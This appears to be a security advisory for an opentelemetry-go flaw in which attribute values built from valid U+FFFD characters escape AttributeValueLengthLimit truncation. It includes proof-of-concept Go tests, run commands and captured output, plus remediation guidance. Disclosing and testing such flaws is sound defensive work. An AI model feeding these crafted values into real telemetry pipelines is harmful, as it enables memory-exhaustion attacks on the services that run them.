CVE-2026-128085: opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes
Summary
The AttributeValueLengthLimit span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit e016a78c9, first released in v1.33.0) has an "optimistic" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in go.opentelemetry.io/otel/sdk/trace (sdk/internal/attrnorm), go.opentelemetry.io/otel/sdk/log (sdk/log/internal/attrnorm), and the auto-instrumentation tracer in go.opentelemetry.io/otel/trace (trace/auto.go, introduced in v1.35.0).
This is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code.
Details
The shared truncation helper is generated from internal/shared/attrnorm/truncate.go.tmpl. In the v1.46.0 release, the generated copies are sdk/internal/attrnorm/truncate.go and sdk/log/internal/attrnorm/truncate.go (identical logic, different package names). The optimistic path (v1.46.0, sdk/internal/attrnorm/truncate.go:175-199) is:
go // Optimistically, assume all valid UTF-8. var b strings.Builder count := 0 for i, c := range s { if c != utf8.RuneError { count++ if count > limit { return s[:i] } continue } , size := utf8.DecodeRuneInString(s[i:]) if size == 1 { // invalid encoding: fall through to the correct slow path ... break } }
range over a string yields utf8.RuneError both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:
1. A value made only of valid U+FFFD runes never increments count, so no truncation ever triggers and the value is returned unchanged, whatever its length. 2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final return s[:i] keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by limit.
The OpenTelemetry specification states that truncation applies "counting any character in it as 1". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.
Call chains (v1.46.0):
- trace: span.SetAttributes -> sdk/trace/span.go (normAttr) -> attrnorm.Truncate -> sdk/internal/attrnorm/truncate.go (truncate) - log: Record.AddAttributes / SetAttributes -> sdk/log/record.go (attrnorm.TruncateValue) -> sdk/log/internal/attrnorm/truncate.go (truncate)
Deduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (safeTruncateValidUTF8), which gave up truncating entirely for strings containing RuneError. The rewrite in e016a78c9 replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.
PoC
Minimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares go 1.25.0; any recent toolchain auto-selects one).
Create a directory with these files.
go.mod (then run go mod tidy once to fill go.sum):
module otelpoc
go 1.25.0
require ( go.opentelemetry.io/otel v1.46.0 go.opentelemetry.io/otel/log v0.22.0 go.opentelemetry.io/otel/sdk v1.46.0 go.opentelemetry.io/otel/sdk/log v0.22.0 go.opentelemetry.io/otel/trace v1.46.0 )
otelgotruncatetest.go:
go package otelpoc
import ( "context" "strings" "testing" "unicode/utf8"
"go.opentelemetry.io/otel/attribute" sdktrace "go.opentelemetry.io/otel/sdk/trace" "go.opentelemetry.io/otel/sdk/trace/tracetest" "go.opentelemetry.io/otel/trace" )
// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and // everything else unlimited, isolating the length-limit enforcement under test. func limitsWithLen(limit int) sdktrace.SpanLimits { lim := sdktrace.NewSpanLimits() lim.AttributeValueLengthLimit = limit lim.AttributeCountLimit = -1 lim.AttributePerEventCountLimit = -1 lim.AttributePerLinkCountLimit = -1 lim.EventCountLimit = -1 lim.LinkCountLimit = -1 return lim }
func captureOneSpan(t testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue { t.Helper() sr := tracetest.NewSpanRecorder() tp := sdktrace.NewTracerProvider( sdktrace.WithSpanProcessor(sr), sdktrace.WithSpanLimits(limitsWithLen(limit)), ) defer func() { = tp.Shutdown(context.Background()) }()
tr := tp.Tracer("poc") , span := tr.Start(context.Background(), "op") span.SetAttributes(attrs...) span.End()
ended := sr.Ended() if len(ended) != 1 { t.Fatalf("expected 1 ended span, got %d", len(ended)) } return ended[0].Attributes() }
// TestOT001FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string // attribute composed of valid U+FFFD runes is stored completely untruncated // although AttributeValueLengthLimit=5. func TestOT001FFFDOnlyStringBypassesTraceLengthLimit(t testing.T) { const limit = 5 val := strings.Repeat("\uFFFD", 1000) // 1000 chars, 3000 bytes
got := captureOneSpan(t, limit, attribute.String("k", val)) if len(got) != 1 { t.Fatalf("expected 1 attribute, got %d", len(got)) } stored := got[0].Value.AsString() t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(val), len(val), utf8.RuneCountInString(stored), len(stored), limit) // Per OTel spec ("counting any character in it as 1") the stored value // must be at most limit characters (<= 15 bytes for U+FFFD). if maxBytes := 3 limit; len(stored) > maxBytes { t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)", limit, len(stored), maxBytes) } }
// TestOT001FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes // are not counted in the optimistic truncation path: every U+FFFD adds 3 // uncounted bytes to the retained value. func TestOT001FFFDMixedStringOverRetains(t testing.T) { const limit = 5 val := strings.Repeat("\uFFFD", 100) + strings.Repeat("A", 6) // 106 chars, 306 bytes
got := captureOneSpan(t, limit, attribute.String("k", val)) stored := got[0].Value.AsString() t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(val), len(val), utf8.RuneCountInString(stored), len(stored), limit) if chars := utf8.RuneCountInString(stored); chars > limit { t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored", limit, chars, len(stored)) } }
// TestOT001ASCIIControl is the control case: plain ASCII over-limit values // ARE truncated, proving the length limit is active in the same setup. func TestOT001ASCIIControl(t testing.T) { const limit = 5 val := strings.Repeat("B", 20)
got := captureOneSpan(t, limit, attribute.String("k", val)) stored := got[0].Value.AsString() t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(val), len(val), utf8.RuneCountInString(stored), len(stored), limit) if len(stored) != limit { t.Fatalf("control failed: ASCII value not truncated (stored %d bytes)", len(stored)) } }
// TestOT001EventAttributesNotLengthTruncated documents that span-event // attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate // call in recordingSpan.addEvent). func TestOT001EventAttributesNotLengthTruncated(t testing.T) { const limit = 5 val := strings.Repeat("C", 100)
sr := tracetest.NewSpanRecorder() tp := sdktrace.NewTracerProvider( sdktrace.WithSpanProcessor(sr), sdktrace.WithSpanLimits(limitsWithLen(limit)), ) defer func() { = tp.Shutdown(context.Background()) }() tr := tp.Tracer("poc") , span := tr.Start(context.Background(), "op") span.AddEvent("ev", trace.WithAttributes(attribute.String("k", val))) span.End()
ended := sr.Ended() events := ended[0].Events() if len(events) != 1 { t.Fatalf("expected 1 event, got %d", len(events)) } stored := events[0].Attributes[0].Value.AsString() t.Logf("event attribute input: %d bytes; stored: %d bytes; limit=%d", len(val), len(stored), limit) if len(stored) > limit { t.Logf("CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)", len(stored), limit) } }
(The -run pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)
otelgologtruncatetest.go:
go package otelpoc
import ( "context" "strings" "sync" "testing" "unicode/utf8"
"go.opentelemetry.io/otel/attribute" apisdk "go.opentelemetry.io/otel/log" sdklog "go.opentelemetry.io/otel/sdk/log" )
type captureProcessor struct { mu sync.Mutex recs []sdklog.Record }
func (c captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }
func (c captureProcessor) OnEmit( context.Context, r sdklog.Record) error { c.mu.Lock() defer c.mu.Unlock() clone := r.Clone() c.recs = append(c.recs, &clone) return nil }
func (c captureProcessor) Shutdown(context.Context) error { return nil } func (c captureProcessor) ForceFlush(context.Context) error { return nil }
// TestOT001FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against // the sdk/log attribute path (sdk/log/internal/attrnorm, same template). func TestOT001FFFDOnlyStringBypassesLogLengthLimit(t testing.T) { const limit = 5 cp := &captureProcessor{} lp := sdklog.NewLoggerProvider( sdklog.WithProcessor(cp), sdklog.WithAttributeValueLengthLimit(limit), ) defer func() { = lp.Shutdown(context.Background()) }()
logger := lp.Logger("poc") var r apisdk.Record r.SetSeverity(apisdk.SeverityInfo) r.AddAttributes(attribute.String("k", strings.Repeat("\uFFFD", 1000))) logger.Emit(context.Background(), r)
cp.mu.Lock() if len(cp.recs) != 1 { t.Fatalf("expected 1 record, got %d", len(cp.recs)) } rec := cp.recs[0] cp.mu.Unlock()
stored := "" rec.WalkAttributes(func(kv attribute.KeyValue) bool { if string(kv.Key) == "k" { stored = kv.Value.AsString() } return true }) t.Logf("sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(stored), len(stored), limit) if maxBytes := 3 limit; len(stored) > maxBytes { t.Fatalf("BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)", limit, len(stored), maxBytes) } }
Run:
go mod tidy go test -count=1 -v -run "TestOT001FFFDOnlyStringBypassesTraceLengthLimit|TestOT001FFFDMixedStringOverRetains|TestOT001ASCIIControl|TestOT001FFFDOnlyStringBypassesLogLengthLimit" .
Expected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the FAIL otelpoc summary line):
=== RUN TestOT001FFFDOnlyStringBypassesLogLengthLimit otelgologtruncatetest.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5 otelgologtruncatetest.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15) --- FAIL: TestOT001FFFDOnlyStringBypassesLogLengthLimit (0.00s) === RUN TestOT001FFFDOnlyStringBypassesTraceLengthLimit otelgotruncatetest.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5 otelgotruncatetest.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15) --- FAIL: TestOT001FFFDOnlyStringBypassesTraceLengthLimit (0.00s) === RUN TestOT001FFFDMixedStringOverRetains otelgotruncatetest.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5 otelgotruncatetest.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored --- FAIL: TestOT001FFFDMixedStringOverRetains (0.00s) === RUN TestOT001ASCIIControl otelgotruncatetest.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5 --- PASS: TestOT001ASCIIControl (0.00s) FAIL FAIL otelpoc 0.059s FAIL
The mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.
Impact
Applications that enable AttributeValueLengthLimit (or WithAttributeValueLengthLimit for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.
Suggested fix
In the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current truncatetest.go has no U+FFFD case).
Other sources
OpenTelemetry-Go is the Go implementation of OpenTelemetry. From SDK version 1.33.0, SDK log version 0.9.0, and trace version 1.35.0 until version 1.47.0, the AttributeValueLengthLimit and WithAttributeValueLengthLimit truncation paths in sdk/internal/attrnorm, sdk/log/internal/attrnorm, and trace/auto.go do not count valid U+FFFD replacement characters. This is a distinct incomplete-fix defect in the replacement truncation code introduced by the remediation for CVE-2026-81869. Values composed of or dominated by those characters can therefore exceed the configured character and memory bound in span, log-record, and auto-instrumentation trace attributes. Attacker-controlled telemetry attributes can increase retained memory and pipeline pressure, while confidentiality and integrity are not affected. This issue is fixed in version 1.47.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/go.opentelemetry.io/otel/traceto a version that resolves this vulnerability.Fixed in 1.47.0 - Upgrade
Upgrade
go/go.opentelemetry.io/otel/sdk/logto a version that resolves this vulnerability.Fixed in 1.47.0 - Upgrade
Upgrade
go/go.opentelemetry.io/otel/sdkto a version that resolves this vulnerability.Fixed in 1.47.0 - Upgrade
Upgrade
go.opentelemetry.io/otelto a version that resolves this vulnerability.Fixed in 1.47.0
Event History
Frequently Asked Questions
Which OpenTelemetry Go components are affected?
The affected truncation paths are in go.opentelemetry.io/otel/sdk/trace, go.opentelemetry.io/otel/sdk/log, and the auto-instrumentation tracer in go.opentelemetry.io/otel/trace. The auto-instrumentation tracer path was introduced in v1.35.0.
What is required to trigger the bypass?
An attribute value must consist of valid U+FFFD replacement-character runes while AttributeValueLengthLimit is configured. Such values can be retained verbatim rather than truncated; the advisory gives an example of 1,000 runes being retained with a limit of five characters.
How can I determine whether my telemetry is affected?
Review spans and log records produced with AttributeValueLengthLimit enabled for unusually long attribute values containing U+FFFD characters. The issue applies to the counting-based truncation code introduced in v1.33.0 and affects the versions described as fixed by the earlier advisory.